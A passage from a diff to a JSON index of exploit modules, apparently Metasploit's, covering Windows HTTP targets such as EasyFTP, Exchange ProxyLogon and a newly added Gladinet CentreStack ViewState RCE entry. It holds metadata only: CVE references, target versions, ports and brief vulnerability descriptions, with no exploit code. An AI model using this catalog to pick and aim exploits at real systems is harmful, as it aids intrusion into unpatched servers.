HTTP Server 7.2 SEH Overflow", "fullname": "exploit/windows/http/easyfilesharing_seh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-12-02", "type": "exploit", @@ -166192,16 +170473,12 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Easy File Sharing 7.2 HTTP" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/easyfilesharing_seh.rb", "is_install_path": true, "ref_name": "windows/http/easyfilesharing_seh", @@ -166209,6 +170486,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -166216,9 +170502,7 @@ "exploit_windows/http/easyftp_list": { "name": "EasyFTP Server list.html path Stack Buffer Overflow", "fullname": "exploit/windows/http/easyftp_list", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-02-18", "type": "exploit", @@ -166226,7 +170510,7 @@ "ThE g0bL!N", "jduck " ], - "description": "This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11\n and earlier. EasyFTP fails to check input size when parsing the 'path' parameter\n supplied to an HTTP GET request, which leads to a stack based buffer overflow.\n EasyFTP allows anonymous access by default; valid credentials are typically\n unnecessary to exploit this vulnerability.\n\n After version 1.7.0.12, this package was renamed \"UplusFtp\".\n\n Due to limited space, as well as difficulties using an egghunter, the use of\n staged, ORD, and/or shell payloads is recommended.", + "description": "This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11\n and earlier. EasyFTP fails to check input size when parsing the 'path' parameter\n supplied to an HTTP GET request, which leads to a stack based buffer overflow.\n EasyFTP allows anonymous access by default; valid credentials are typically\n unnecessary to exploit this vulnerability.\n\n After version 1.7.0.12, this package was renamed \"UplusFtp\".\n\n Due to limited space, as well as difficulties using an egghunter, the use of\n staged, ORD, and/or shell payloads is recommended.", "references": [ "OSVDB-66614", "EDB-11500" @@ -166252,7 +170536,7 @@ "targets": [ "Windows XP SP3 - Easy FTP Server Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/easyftp_list.rb", "is_install_path": true, "ref_name": "windows/http/easyftp_list", @@ -166260,6 +170544,15 @@ "post_auth": true, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -166267,16 +170560,14 @@ "exploit_windows/http/edirectory_host": { "name": "Novell eDirectory NDS Server Host Header Overflow", "fullname": "exploit/windows/http/edirectory_host", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-10-21", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Novell eDirectory 8.8.1.\n The web interface does not validate the length of the\n HTTP Host header prior to using the value of that header in an\n HTTP redirect.", + "description": "This module exploits a stack buffer overflow in Novell eDirectory 8.8.1.\n The web interface does not validate the length of the\n HTTP Host header prior to using the value of that header in an\n HTTP redirect.", "references": [ "CVE-2006-5478", "OSVDB-29993", @@ -166285,16 +170576,12 @@ "platform": "Windows", "arch": "", "rport": 8028, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Novell eDirectory 8.8.1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/edirectory_host.rb", "is_install_path": true, "ref_name": "windows/http/edirectory_host", @@ -166302,6 +170589,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -166309,9 +170605,7 @@ "exploit_windows/http/edirectory_imonitor": { "name": "eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow", "fullname": "exploit/windows/http/edirectory_imonitor", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-08-11", "type": "exploit", @@ -166319,7 +170613,7 @@ "Unknown", "Matt Olney " ], - "description": "This module exploits a stack buffer overflow in eDirectory 8.7.3\n iMonitor service. This vulnerability was discovered by Peter\n Winter-Smith of NGSSoftware.\n\n NOTE: repeated exploitation attempts may cause eDirectory to crash. It does\n not restart automatically in a default installation.", + "description": "This module exploits a stack buffer overflow in eDirectory 8.7.3\n iMonitor service. This vulnerability was discovered by Peter\n Winter-Smith of NGSSoftware.\n\n NOTE: repeated exploitation attempts may cause eDirectory to crash. It does\n not restart automatically in a default installation.", "references": [ "CVE-2005-2551", "OSVDB-18703", @@ -166346,7 +170640,7 @@ "targets": [ "Windows (ALL) - eDirectory 8.7.3 iMonitor" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/edirectory_imonitor.rb", "is_install_path": true, "ref_name": "windows/http/edirectory_imonitor", @@ -166354,6 +170648,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -166361,9 +170664,7 @@ "exploit_windows/http/efs_easychatserver_username": { "name": "EFS Easy Chat Server Authentication Request Handling Buffer Overflow", "fullname": "exploit/windows/http/efs_easychatserver_username", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-08-14", "type": "exploit", @@ -166371,7 +170672,7 @@ "LSO ", "bcoles " ], - "description": "This module exploits a stack buffer overflow in EFS Software Easy Chat\n Server versions 2.0 to 3.1. By sending an overly long authentication\n request, an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in EFS Software Easy Chat\n Server versions 2.0 to 3.1. By sending an overly long authentication\n request, an attacker may be able to execute arbitrary code.", "references": [ "CVE-2004-2466", "OSVDB-7416", @@ -166401,7 +170702,7 @@ "Easy Chat Server 2.0", "Easy Chat Server 2.1 - 3.1" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/efs_easychatserver_username.rb", "is_install_path": true, "ref_name": "windows/http/efs_easychatserver_username", @@ -166409,6 +170710,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -166416,9 +170726,7 @@ "exploit_windows/http/efs_fmws_userid_bof": { "name": "Easy File Management Web Server Stack Buffer Overflow", "fullname": "exploit/windows/http/efs_fmws_userid_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-05-20", "type": "exploit", @@ -166427,7 +170735,7 @@ "Julien Ahrens", "TecR0c " ], - "description": "Easy File Management Web Server v4.0 and v5.3 contains a stack buffer\n overflow condition that is triggered as user-supplied input is not\n properly validated when handling the UserID cookie. This may allow a\n remote attacker to execute arbitrary code.", + "description": "Easy File Management Web Server v4.0 and v5.3 contains a stack buffer\n overflow condition that is triggered as user-supplied input is not\n properly validated when handling the UserID cookie. This may allow a\n remote attacker to execute arbitrary code.", "references": [ "CVE-2014-3791", "OSVDB-107241", @@ -166459,7 +170767,7 @@ "Efmws 5.3 Universal", "Efmws 4.0 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/efs_fmws_userid_bof.rb", "is_install_path": true, "ref_name": "windows/http/efs_fmws_userid_bof", @@ -166467,6 +170775,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -166474,9 +170791,7 @@ "exploit_windows/http/ektron_xslt_exec": { "name": "Ektron 8.02 XSLT Transform Remote Code Execution", "fullname": "exploit/windows/http/ektron_xslt_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-10-16", "type": "exploit", @@ -166485,7 +170800,7 @@ "juan vazquez ", "Nicolas \"Nicob\" Gregoire" ], - "description": "This module exploits a vulnerability in Ektron CMS 8.02 (before SP5). The\n vulnerability exists due to the insecure usage of XslCompiledTransform, using a\n XSLT controlled by the user. The module has been tested successfully on Ektron CMS\n 8.02 over Windows 2003 SP2, which allows to execute arbitrary code with NETWORK\n SERVICE privileges.", + "description": "This module exploits a vulnerability in Ektron CMS 8.02 (before SP5). The\n vulnerability exists due to the insecure usage of XslCompiledTransform, using a\n XSLT controlled by the user. The module has been tested successfully on Ektron CMS\n 8.02 over Windows 2003 SP2, which allows to execute arbitrary code with NETWORK\n SERVICE privileges.", "references": [ "CVE-2012-5357", "OSVDB-88107", @@ -166513,7 +170828,7 @@ "targets": [ "Windows 2003 SP2 / Ektron CMS400 8.02" ], - "mod_time": "2020-09-22 02:56:51 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/ektron_xslt_exec.rb", "is_install_path": true, "ref_name": "windows/http/ektron_xslt_exec", @@ -166521,6 +170836,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -166528,16 +170852,14 @@ "exploit_windows/http/ektron_xslt_exec_ws": { "name": "Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution", "fullname": "exploit/windows/http/ektron_xslt_exec_ws", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-02-05", "type": "exploit", "author": [ "catatonicprime" ], - "description": "Ektron 8.5, 8.7 <= sp1, 9.0 < sp1 have\nvulnerabilities in various operations within the ServerControlWS.asmx\nweb services. These vulnerabilities allow for RCE without authentication and\nexecute in the context of IIS on the remote system.", + "description": "Ektron 8.5, 8.7 <= sp1, 9.0 < sp1 have\n vulnerabilities in various operations within the ServerControlWS.asmx\n web services. These vulnerabilities allow for RCE without authentication and\n execute in the context of IIS on the remote system.", "references": [ "CVE-2015-0923", "US-CERT-VU-377644", @@ -166564,7 +170886,7 @@ "targets": [ "Windows 2008 R2 / Ektron CMS400 8.5" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/ektron_xslt_exec_ws.rb", "is_install_path": true, "ref_name": "windows/http/ektron_xslt_exec_ws", @@ -166572,6 +170894,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -166579,9 +170910,7 @@ "exploit_windows/http/ericom_access_now_bof": { "name": "Ericom AccessNow Server Buffer Overflow", "fullname": "exploit/windows/http/ericom_access_now_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-06-02", "type": "exploit", @@ -166589,7 +170918,7 @@ "Unknown", "juan vazquez " ], - "description": "This module exploits a stack based buffer overflow in Ericom AccessNow Server. The\n vulnerability is due to an insecure usage of vsprintf with user controlled data,\n which can be triggered with a malformed HTTP request. This module has been tested\n successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003\n Server SP2.", + "description": "This module exploits a stack based buffer overflow in Ericom AccessNow Server. The\n vulnerability is due to an insecure usage of vsprintf with user controlled data,\n which can be triggered with a malformed HTTP request. This module has been tested\n successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003\n Server SP2.", "references": [ "ZDI-14-160", "CVE-2014-3913", @@ -166617,7 +170946,7 @@ "targets": [ "Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/ericom_access_now_bof.rb", "is_install_path": true, "ref_name": "windows/http/ericom_access_now_bof", @@ -166625,6 +170954,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -166709,9 +171047,7 @@ "exploit_windows/http/exchange_ecp_dlp_policy": { "name": "Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE", "fullname": "exploit/windows/http/exchange_ecp_dlp_policy", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-01-12", "type": "exploit", @@ -166783,16 +171119,14 @@ "exploit_windows/http/exchange_ecp_viewstate": { "name": "Exchange Control Panel ViewState Deserialization", "fullname": "exploit/windows/http/exchange_ecp_viewstate", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-02-11", "type": "exploit", "author": [ "Spencer McIntyre" ], - "description": "This module exploits a .NET serialization vulnerability in the\n Exchange Control Panel (ECP) web page. The vulnerability is due to\n Microsoft Exchange Server not randomizing the keys on a\n per-installation basis resulting in them using the same validationKey\n and decryptionKey values. With knowledge of these values, an attacker\n can craft a special ViewState to cause an OS command to be executed\n by NT_AUTHORITY\\SYSTEM using .NET deserialization.", + "description": "This module exploits a .NET serialization vulnerability in the\n Exchange Control Panel (ECP) web page. The vulnerability is due to\n Microsoft Exchange Server not randomizing the keys on a\n per-installation basis resulting in them using the same validationKey\n and decryptionKey values. With knowledge of these values, an attacker\n can craft a special ViewState to cause an OS command to be executed\n by NT_AUTHORITY\\SYSTEM using .NET deserialization.", "references": [ "CVE-2020-0688", "URL-https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys" @@ -166820,7 +171154,7 @@ "Windows (x64)", "Windows (cmd)" ], - "mod_time": "2020-08-21 10:13:45 +0000", + "mod_time": "2025-06-20 13:20:44 +0000", "path": "/modules/exploits/windows/http/exchange_ecp_viewstate.rb", "is_install_path": true, "ref_name": "windows/http/exchange_ecp_viewstate", @@ -166845,9 +171179,7 @@ "exploit_windows/http/exchange_proxylogon_rce": { "name": "Microsoft Exchange ProxyLogon RCE", "fullname": "exploit/windows/http/exchange_proxylogon_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-03-02", "type": "exploit", @@ -166923,9 +171255,7 @@ "exploit_windows/http/exchange_proxynotshell_rce": { "name": "Microsoft Exchange ProxyNotShell RCE", "fullname": "exploit/windows/http/exchange_proxynotshell_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-09-28", "type": "exploit", @@ -166996,9 +171326,7 @@ "exploit_windows/http/exchange_proxyshell_rce": { "name": "Microsoft Exchange ProxyShell RCE", "fullname": "exploit/windows/http/exchange_proxyshell_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-04-06", "type": "exploit", @@ -167074,16 +171402,14 @@ "exploit_windows/http/ezserver_http": { "name": "EZHomeTech EzServer Stack Buffer Overflow Vulnerability", "fullname": "exploit/windows/http/ezserver_http", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-18", "type": "exploit", "author": [ "modpr0be " ], - "description": "This module exploits a stack buffer overflow in the EZHomeTech EZServer\n for versions 6.4.017 and earlier. If a malicious user sends packets\n containing an overly long string, it may be possible to execute a\n payload remotely. Due to size constraints, this module uses the\n Egghunter technique.", + "description": "This module exploits a stack buffer overflow in the EZHomeTech EZServer\n for versions 6.4.017 and earlier. If a malicious user sends packets\n containing an overly long string, it may be possible to execute a\n payload remotely. Due to size constraints, this module uses the\n Egghunter technique.", "references": [ "OSVDB-83065", "BID-54056", @@ -167093,16 +171419,12 @@ "platform": "Windows", "arch": "", "rport": 8000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/ezserver_http.rb", "is_install_path": true, "ref_name": "windows/http/ezserver_http", @@ -167110,6 +171432,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -167117,16 +171448,14 @@ "exploit_windows/http/fdm_auth_header": { "name": "Free Download Manager Remote Control Server Buffer Overflow", "fullname": "exploit/windows/http/fdm_auth_header", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-02-02", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Free Download Manager\n Remote Control 2.5 Build 758. When sending a specially crafted\n Authorization header, an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Free Download Manager\n Remote Control 2.5 Build 758. When sending a specially crafted\n Authorization header, an attacker may be able to execute arbitrary code.", "references": [ "CVE-2009-0183", "OSVDB-51745" @@ -167152,7 +171481,7 @@ "targets": [ "Free Download Manager 2.5 Build 758" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/fdm_auth_header.rb", "is_install_path": true, "ref_name": "windows/http/fdm_auth_header", @@ -167160,6 +171489,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -167167,9 +171505,7 @@ "exploit_windows/http/file_sharing_wizard_seh": { "name": "File Sharing Wizard - POST SEH Overflow", "fullname": "exploit/windows/http/file_sharing_wizard_seh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-09-24", "type": "exploit", @@ -167203,7 +171539,7 @@ "targets": [ "Windows Vista / Windows 7 (x86)" ], - "mod_time": "2020-03-05 14:48:37 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/file_sharing_wizard_seh.rb", "is_install_path": true, "ref_name": "windows/http/file_sharing_wizard_seh", @@ -167211,6 +171547,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -167218,9 +171563,7 @@ "exploit_windows/http/flexdotnetcms_upload_exec": { "name": "FlexDotnetCMS Arbitrary ASP File Upload", "fullname": "exploit/windows/http/flexdotnetcms_upload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-09-28", "type": "exploit", @@ -167278,9 +171621,7 @@ "exploit_windows/http/forticlient_ems_fctid_sqli": { "name": "FortiNet FortiClient Endpoint Management Server FCTID SQLi to RCE", "fullname": "exploit/windows/http/forticlient_ems_fctid_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-04-21", "type": "exploit", @@ -167342,9 +171683,7 @@ "exploit_windows/http/fortilogger_arbitrary_fileupload": { "name": "FortiLogger Arbitrary File Upload Exploit", "fullname": "exploit/windows/http/fortilogger_arbitrary_fileupload", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2021-02-26", "type": "exploit", @@ -167402,16 +171741,14 @@ "exploit_windows/http/generic_http_dll_injection": { "name": "Generic Web Application DLL Injection", "fullname": "exploit/windows/http/generic_http_dll_injection", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2015-03-04", "type": "exploit", "author": [ "Matthew Hall " ], - "description": "This is a general-purpose module for exploiting conditions where a HTTP request\n triggers a DLL load from an specified SMB share. This module serves payloads as\n DLLs over an SMB service and allows an arbitrary HTTP URL to be called that would\n trigger the load of the DLL.", + "description": "This is a general-purpose module for exploiting conditions where a HTTP request\n triggers a DLL load from an specified SMB share. This module serves payloads as\n DLLs over an SMB service and allows an arbitrary HTTP URL to be called that would\n trigger the load of the DLL.", "references": [ "CWE-427" ], @@ -167437,7 +171774,7 @@ "Windows x86", "Windows x64" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/generic_http_dll_injection.rb", "is_install_path": true, "ref_name": "windows/http/generic_http_dll_injection", @@ -167445,6 +171782,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -167452,9 +171798,7 @@ "exploit_windows/http/geutebrueck_gcore_x64_rce_bo": { "name": "Geutebrueck GCore - GCoreServer.exe Buffer Overflow RCE", "fullname": "exploit/windows/http/geutebrueck_gcore_x64_rce_bo", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-01-24", "type": "exploit", @@ -167462,7 +171806,7 @@ "Luca Cappiello", "Maurice Popp" ], - "description": "This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe).\n The vulnerable webserver is running on Port 13003 and Port 13004, does not require\n authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).", + "description": "This module exploits a stack Buffer Overflow in the GCore server (GCoreServer.exe).\n The vulnerable webserver is running on Port 13003 and Port 13004, does not require\n authentication and affects all versions from 2003 till July 2016 (Version 1.4.YYYYY).", "references": [ "EDB-41153", "CVE-2017-11517", @@ -167471,18 +171815,14 @@ "platform": "Windows", "arch": "", "rport": 13003, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic Targeting", "GCore 1.3.8.42, Windows x64 (Win7+)", "GCore 1.4.2.37, Windows x64 (Win7+)" ], - "mod_time": "2024-04-17 13:00:41 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/geutebrueck_gcore_x64_rce_bo.rb", "is_install_path": true, "ref_name": "windows/http/geutebrueck_gcore_x64_rce_bo", @@ -167490,6 +171830,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -167497,9 +171846,7 @@ "exploit_windows/http/git_lfs_rce": { "name": "Git Remote Code Execution via git-lfs (CVE-2020-27955)", "fullname": "exploit/windows/http/git_lfs_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-11-04", "type": "exploit", @@ -167508,7 +171855,7 @@ "space-r7", "jheysel-r7" ], - "description": "A critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for\n versioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked\n into cloning the attacker’s malicious repository using a vulnerable Git version control tool", + "description": "A critical vulnerability (CVE-2020-27955) in Git Large File Storage (Git LFS), an open source Git extension for\n versioning large files, allows attackers to achieve remote code execution if the Windows-using victim is tricked\n into cloning the attacker's malicious repository using a vulnerable Git version control tool", "references": [ "CVE-2020-27955", "URL-https://www.helpnetsecurity.com/2020/11/05/cve-2020-27955/" @@ -167534,7 +171881,7 @@ "targets": [ "Git LFS <= 2.12" ], - "mod_time": "2021-09-14 16:32:25 +0000", + "mod_time": "2025-06-25 11:20:47 +0000", "path": "/modules/exploits/windows/http/git_lfs_rce.rb", "is_install_path": true, "ref_name": "windows/http/git_lfs_rce", @@ -167558,9 +171905,7 @@ "exploit_windows/http/gitstack_rce": { "name": "GitStack Unsanitized Argument RCE", "fullname": "exploit/windows/http/gitstack_rce", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2018-01-15", "type": "exploit", @@ -167568,7 +171913,7 @@ "Kacper Szurek", "Jacob Robles" ], - "description": "This module exploits a remote code execution vulnerability that\n exists in GitStack through v2.3.10, caused by an unsanitized argument\n being passed to an exec function call. This module has been tested\n on GitStack v2.3.10.", + "description": "This module exploits a remote code execution vulnerability that\n exists in GitStack through v2.3.10, caused by an unsanitized argument\n being passed to an exec function call. This module has been tested\n on GitStack v2.3.10.", "references": [ "CVE-2018-5955", "EDB-43777", @@ -167596,7 +171941,7 @@ "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/gitstack_rce.rb", "is_install_path": true, "ref_name": "windows/http/gitstack_rce", @@ -167604,6 +171949,75 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] + }, + "session_types": false, + "needs_cleanup": null + }, + "exploit_windows/http/gladinet_viewstate_deserialization_cve_2025_30406": { + "name": "Gladinet CentreStack/Triofox ASP.NET ViewState Deserialization", + "fullname": "exploit/windows/http/gladinet_viewstate_deserialization_cve_2025_30406", + "aliases": [], + "rank": 600, + "disclosure_date": "2025-04-03", + "type": "exploit", + "author": [ + "Huntress Team", + "H00die Gr3y" + ], + "description": "A vulnerability in Gladinet CentreStack and Triofox application using hardcoded\n cryptographic keys for ViewState could allow an attacker to forge ViewState data.\n This can lead to unauthorized actions such as remote code execution.\n Both applications make use of a hardcoded machineKey in the IIS web.config file,\n which is responsible for securing ASP.NET ViewState data. If an attacker obtains\n the machineKey, they can forge ViewState payloads that pass integrity checks.\n This can result in ViewState deserialization attacks, potentially leading to\n remote code execution (RCE) on the web server.\n\n Gladinet CentreStack versions up to 16.4.10315.56368 are vulnerable (fixed in 16.4.10315.56368).\n Gladinet Triofox versions up to 16.4.10317.56372 are vulnerable (fixed in 16.4.10317.56372).\n NOTE: There are other rebranded services that might be vulnerable and can be detected by this module.", + "references": [ + "CVE-2025-30406", + "URL-https://www.huntress.com/blog/cve-2025-30406-critical-gladinet-centrestack-triofox-vulnerability-exploited-in-the-wild", + "URL-https://attackerkb.com/topics/7ebXn71J6O/cve-2025-30406" + ], + "platform": "Windows", + "arch": "", + "rport": 443, + "autofilter_ports": [ + 80, + 8080, + 443, + 8000, + 8888, + 8880, + 8008, + 3000, + 8443 + ], + "autofilter_services": [ + "http", + "https" + ], + "targets": [ + "Windows Command" + ], + "mod_time": "2025-05-03 14:08:49 +0000", + "path": "/modules/exploits/windows/http/gladinet_viewstate_deserialization_cve_2025_30406.rb", + "is_install_path": true, + "ref_name": "windows/http/gladinet_viewstate_deserialization_cve_2025_30406", + "check": true, + "post_auth": false, + "default_credential": false, + "notes": { + "Stability": [ + "crash-safe" + ], + "SideEffects": [ + "artifacts-on-disk", + "ioc-in-logs" + ], + "Reliability": [ + "repeatable-session" + ] }, "session_types": false, "needs_cleanup": null @@ -167611,9 +172025,7 @@ "exploit_windows/http/hp_autopass_license_traversal": { "name": "HP AutoPass License Server File Upload", "fullname": "exploit/windows/http/hp_autopass_license_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2014-01-10", "type": "exploit", @@ -167621,7 +172033,7 @@ "rgod ", "juan vazquez " ], - "description": "This module exploits a code execution flaw in HP AutoPass License Server. It abuses two\n weaknesses in order to get its objective. First, the AutoPass application doesn't enforce\n authentication in the CommunicationServlet component. Second, it's possible to abuse a\n directory traversal when uploading files thorough the same component, allowing to upload\n an arbitrary payload embedded in a JSP. The module has been tested successfully on\n HP AutoPass License Server 8.01 as installed with HP Service Virtualization 3.50.", + "description": "This module exploits a code execution flaw in HP AutoPass License Server. It abuses two\n weaknesses in order to get its objective. First, the AutoPass application doesn't enforce\n authentication in the CommunicationServlet component. Second, it's possible to abuse a\n directory traversal when uploading files thorough the same component, allowing to upload\n an arbitrary payload embedded in a JSP. The module has been tested successfully on\n HP AutoPass License Server 8.01 as installed with HP Service Virtualization 3.50.", "references": [ "CVE-2013-6221", "ZDI-14-195", @@ -167652,7 +172064,7 @@ "Windows 2008 64 bits/ HP AutoPass License Server 8.01 / HP Service Virtualization 3.50", "Windows 2012 / HP AutoPass License Server 8.01 / HP Service Virtualization 3.50" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/http/hp_autopass_license_traversal.rb", "is_install_path": true, "ref_name": "windows/http/hp_autopass_license_traversal", @@ -167660,6 +172072,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -167667,9 +172088,7 @@ "exploit_windows/http/hp_imc_bims_upload": { "name": "HP Intelligent Management Center BIMS UploadServlet Directory Traversal", "fullname": "exploit/windows/http/hp_imc_bims_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-10-08", "type": "exploit", @@ -167677,7 +172096,7 @@ "rgod ", "juan vazquez " ], - "description": "This module exploits a directory traversal vulnerability on the version 5.2 of the BIMS\n component from the HP Intelligent Management Center. The vulnerability exists in the\n UploadServlet, allowing the user to download and upload 